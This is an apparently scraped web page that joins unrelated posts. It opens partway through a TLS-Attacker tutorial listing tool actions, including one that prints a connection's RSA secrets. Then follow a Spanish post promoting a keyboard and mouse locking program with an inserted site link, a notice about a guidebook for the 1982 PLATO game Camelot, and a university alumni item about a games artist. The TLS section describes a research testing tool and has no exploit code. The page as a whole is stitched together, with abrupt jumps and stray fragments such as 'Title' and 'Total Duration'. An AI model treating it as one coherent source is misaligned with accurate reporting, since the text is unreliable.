Prints the proposed extensions (from the client)


PrintSecretsAction

Prints the secrets (RSA) from the current connection. This includes the nonces, cipher suite, public key, modulus, premaster secret, master secret and verify data.


RenegotiationAction

Resets the message digest. This is usually done if you want to perform a renegotiation.


ResetConnectionAction

Closes and reopens the connection. This can be useful if you want to analyze session resumption or similar things which involve more than one handshake.


SendDynamicClientKeyExchangeAction

Send a ClientKeyExchange message, and always chooses the correct one (depending on the current connection state). This is useful if you just don't care about the actual cipher suite and just want the handshake done.


SendDynamicServerKeyExchangeAction

(Maybe) sends a ServerKeyExchange message. This depends on the currently selected cipher suite. If the cipher suite requires the transmission of a ServerKeyExchange message, then a ServerKeyExchange message will be sent, otherwise, nothing is done. This is useful if you just don't care about the actual cipher suite and just want the handshake done.


WaitAction

This lets TLS-Attacker sleep for a specified amount of time (in ms).





As you might have already seen there is so much more to talk about in TLS-Attacker. But this should give you a rough idea of what is going on.

If you have any research ideas or need support feel free to contact us on Twitter (@ic0nz1, @jurajsomorovsky ) or at https://www.hackmanit.de/.

If TLS-Attacker helps you to find a bug in a TLS implementation, please acknowledge our tool(s). If you want to learn more about TLS, Juraj and I are also giving a Training about TLS at Ruhrsec (27.05.2019).

More articles


Monday, May 4, 2020

Bloquear Teclado Y Mouse En Windows

Bloquear el teclado y el mouse en Windows hoy en día ya no es un lió, y aunque existen varios métodos para dicho procedimiento queremos presentar un software muy seguro capaz de bloquear en segundos todas las funciones de estos periféricos. No queremos profundizar en las funciones que están alojadas en el sistema de Windows para evitar vueltas innecesarias, simplemente utilizaremos un software que después de estar instalado podemos desactivar y activar de manera rápida.
Creemos que muchos de ustedes que están dando lectura a este bloc ya conocen de manera lógica los procedimientos a utilizar para que funcione a la perfección este complemento, o simplemente perciben otra fórmula sin necesidad de instalar programas, pero si realizamos alguna encuesta sabemos que un 70% de nuestros seguidores desconocen de lleno la existencia de poder bloquear teclado y ratón (mouse) de nuestro ordenador.
https://www.dominatupc.com.co/
Sin más que decir vamos a proceder con el tutorial explicando la forma de cómo se utiliza y la manera correcta de poder asegurar nuestro ordenador para que nadie lo pueda manipular cuando no estamos cerca de la pantalla.
Los pasos a seguir seria descargar e instalar "Keyboard and Mouse" el cual dejamos el enlace al final del artículo, La instalación no es necesario explicar ya que es un programa portable que no necesita conocimiento para el mismo. Cuando ejecutes el software en modo administrador vas a conocer una interfaz simple y ya configurada con una secuencia de botones que trae por defecto los cuales puede modificar a su gusto.
Es fundamental no colocar dígitos difíciles y largos, para cuando quiera desbloquear su ordenador lo haga de manera rápida y sin problemas. No es necesario poner el más (+) ya que el programa automáticamente hace el trabajo, simplemente escribe la serie que recordara de forma normal y cuando lo tengas listo presionamos el botón (Lock) o la letra (L), esperamos 5 segundos y ya todo estará inhabilitado.
Una vez ejecutado, el teclado y Mouse quedaran bloqueados sin poder usarlos como es debido. Es importante tener marcada la casilla "Show Tool Tip" para recibir información en la pantalla sobre las teclas que se deben forzar para desbloquear.
Ya todo queda a su disposición para que pruebes la funcionalidad de Keyboard, que sin duda es un programa muy simple y útil para situaciones donde queremos dejar por unos minutos nuestro ordenador expuesto a personas traviesas. No olvides compartir y seguirnos en las diferentes redes sociales, su ayuda nos hace crecer. También te puede interesar:(Cómo recuperar la clave de inicio de Windows)


More information

Friday, May 1, 2020

Camelot (1982) Guidebook Finished By Game's Author

Excited about the renewed interest in Camelot from my series of 2019 entries (beginning here), author Joshua Tabin has developed a 101-page guidebook to the game.
           
         
The book walks you through setting up a Cyber1 account so that you can play Camelot and other PLATO games. It includes a quick history of the PLATO series, with screenshots. The bulk of the manual is tips, tricks, and instructions for navigating the game, including the full text of the in-game manual; lists of monsters and equipment; and full maps of all 10 levels (there's still plenty for you to annotate). 

This is a great opportunity for any reader who's thought they'd like to try one of the PLATO games.

*****

And one other random announcement while I have you: I finally updated my Dungeons of Avalon II summary entry to reflect what commenter LanHawk discovered about the game, plus the winning screenshots he was able to obtain after fixing the problem for himself.

UCLan Games Design Alumni, Saija Sipila Interviewed On Linkedin.

Checkout this interview on Linkedin with our Alumni, Saija Sipilä.
We're very proud of her and her achievements in the games design industry!



























Saija Sipila is a Senior Artist at Rebellion Games in Oxford, having worked on Sniper Elite 4, Sniper Elite 3, Hunt the Grey Wolf (DLC), Save Churchill Part 3: Confrontation (DLC) and Zombie Army Trilogy.

Saija is a 3D Environment artist.
See examples of her beautiful work at:

http://www.saijamaririna.com/




















Title

Total Duration